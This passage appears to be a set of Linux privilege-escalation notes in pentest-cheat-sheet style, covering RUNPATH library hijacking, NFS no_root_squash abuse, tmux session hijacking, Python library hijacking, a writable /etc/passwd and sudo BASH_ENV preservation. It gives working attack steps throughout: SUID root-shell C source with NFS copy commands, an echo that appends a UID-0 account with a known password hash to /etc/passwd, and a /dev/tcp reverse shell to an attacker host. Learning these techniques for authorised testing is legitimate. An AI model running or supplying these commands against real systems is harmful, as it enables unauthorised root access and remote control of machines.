Miscellaneous Techniques
Shared Object Hijacking - Binary RUNPATH variable
A binary or program may use a custom library that can be enumerated by using one of the following commands:
ldd /path/to/program-namereadelf -d /path/to/program-name | grep PATH
By checking the RUNPATH content, we can verify if a custom directory is being used.
Custom libraries specified by the RUNPATH have higher priority compared to the other libraries, similarly. to LD_PRELOAD
In other terms, if the RUNPATH contains /directoryname/customlibrary.so we can hijack the shared library to elevate privileges
To abuse the RUNPATH, the procedure is the same as the LD_PRELOAD abuse:
identify a function used by binary/program
write a malicious shared library containing a reverse shell payload inside a function with the same signature as the original one
substitute the original custom library file with the malicious one
Weak NFS Privileges to Privesc
Any accessible mounts can be listed remotely by issuing the command
showmount -e target-ipWhen an NFS volume is created, various options can be set
To escalate privileges, we need to have the
no_root_squashoptionThis option allows remote users connecting to the share as the local root user to create files on the NFS server as the root user.\This would allow for the creation of malicious scripts/programs with the SUID bit set.
Basically, you can use the attacker's machine root user to create files on the NFS server as the root user
To enumerate the exports on the machine hosting an NFS Share:
cat /etc/exportsIf
no_root_squashis set we can create aSETUIDbinary that executes/bin/shusing our local root user. \ We can then mount the/tmpdirectory locally, copy the root-owned binary over to the NFS server, and set the SUID bit.
Exploitation steps:
Suppose a target machine hosts a NFS Share. We can enumerate that by using
showmount -e target-ipSuppose we have local access to the target machine. We can check if the
no_root_squashoptions is set for the previous share by usingcat /etc/exportsWrite the PoC script:
#include <stdio.h> #include <sys/types.h> #include <unistd.h> int main(void) { setuid(0); setgid(0); system("/bin/bash"); }Compile the script:
gcc shell.c -o shellUse the local root user to copy the file on the NFS share as root:
sudo mount -t nfs 10.129.2.12:/tmp /mntcp shell /mntchmod u+s /mnt/shell
Switching back to the target host's session, we can escalate privileges to root by executing the binary:
cd /tmp; ./shell
TMUX Terminal Session Hijacking (Requires DEV group)
Terminal multiplexers such as
tmuxcan be used to allow multiple terminal sessions to be accessed within a single console sessionWhen not working in a tmux window, we can
detachfrom the session, still leaving itactiveWe can gain a
rootterminal session if a user left atmuxprocess running as a privileged userTo do that, we need to have access to a user in the
devgroup to create a newshared tmux sessionand modify its ownership
Exploitation steps:
Create new shared sessions:
tmux -S /shareds new -s debugsessChange session owner:
chown root:devs /sharedsCheck for any ruynning tmux processes:
ps aux | grep tmuxAttach the tmux session and get root privileges:
tmux -S /shareds
Python Library Hijacking
There are many ways in which we can hijack a Python library.
Much depends on the script and its contents itself.
However, there are three basic vulnerabilities where hijacking can be used
Wrong write permissions:
Requirements: A python script with
SUIDprivileges that makes use of any library (import libraryname)The library file will be located at
/usr/local/lib/python3.8/dist-packages/librarynameAfter checking which library function is called inside the python code, we can edit the library file by injecting a payload such as
import osos.system('id')Executing the python script again will show the results of the
idcommand, confirming root privileges
Library Path:
Requirements: write permissions in one of the folders shown by the PYTHONPATH variable (preferrably one of the folders first folders)
To enumerate the PYTHONPATH variable contents:
python3 -c 'import sys; print("\n".join(sys.path))'PoC: if we have write permissions inside one of the folders specified by the PYTHONPATH variable we can proceed in a similar manner as with the standard PATH environment variable abuse.
The basic idea is to write a file with the same name and signature as an imported library and inject a payload to run a shell
PYTHONPATH environment variable:
Requirements: permissions to edit the PYTHONPATH variable
To check that permission:
sudo -l→ Output:SETENV: /usr/bin/python3PoC: edit the
PYTHONPATHvariable in the same way as a standardPATHenvironment variable privilege escalation
Writeable passwd file
Always check whether you have write permissions into the /etc/passwd file.
If that's the case, you can effectively set an arbitrary password for any account.
To check, use ls -la /etc/passwd
Supposing you have write permissions, you can generate a password hash and use it to log as root as follows:
Generate the password hash:
openssl passwd w00t output: Fdzt.eqJQ4s0gAppend the password hash inside the passwd file:
echo "root2:Fdzt.eqJQ4s0g:0:0:root:/root:/bin/bash" >> /etc/passwdNow you can login as root using
su root2and insertingw00tas the user's password
Preserved Environment Variables via sudo -l (env_keep)
Some sudo configurations allow preserving sensitive environment variables such as BASH_ENV through the env_keep directive. This works even if the sudo command is limited, because the altered environment affects how the command runs.
The BASH_ENV variable instructs bash to source a custom configuration file on every non-interactive shell startup. If sudo preserves this variable, it is possible to escalate privileges using the binary specified by sudo -l
As an example, suppose you use sudo -l and notice the following:

You can leverage the BASH_ENV environment variable to escalate privileges, as it will be kept in the sudo user's shell environment due to the env_keep directive.
To do that, run a netcat listener on your attacker machine and then, on the victim machine:
example@hostname:~$ echo 'bash -i >& /dev/tcp/<IP>/<PORT> 0>&1' > /tmp/exploit
example@hostname:~$ chmod +x /tmp/exploit
example@hostname:~$ export BASH_ENV=/tmp/exploit
example@hostname:~$ sudo /path/to/binary